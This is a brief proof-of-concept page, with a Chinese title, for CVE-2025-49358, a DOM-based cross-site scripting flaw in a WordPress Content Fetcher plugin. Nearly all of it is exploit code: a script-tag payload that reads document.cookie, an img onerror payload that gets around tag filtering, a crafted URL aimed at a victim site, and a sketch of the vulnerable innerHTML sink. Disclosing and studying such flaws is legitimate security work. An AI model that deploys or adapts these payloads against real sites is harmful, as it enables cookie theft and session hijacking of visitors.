CVE-2025-49358 WordPress Content Fetcher插件DOM型XSS漏洞

// CVE-2025-49358 DOM型XSS PoC // Attack vector: Inject malicious script via plugin input fields // Malicious payload example const maliciousPayload = '<script>alert(document.cookie)</script>'; // Or using event handlers to bypass script tag filtering const alternatePayload = '<img src=x onerror="alert(document.domain)">'; // DOM-based XSS exploitation scenario // 1. Attacker crafts URL with payload in parameter const exploitUrl = 'https://victim-site.com/?content=' + encodeURIComponent(maliciousPayload); // 2. Vulnerable JavaScript code (simplified representation) // document.getElementById('content').innerHTML = location.search.slice(1); // 3. When victim visits the URL, script executes in their browser context console.log('PoC for CVE-2025-49358: DOM-based XSS in Content Fetcher <= 1.1');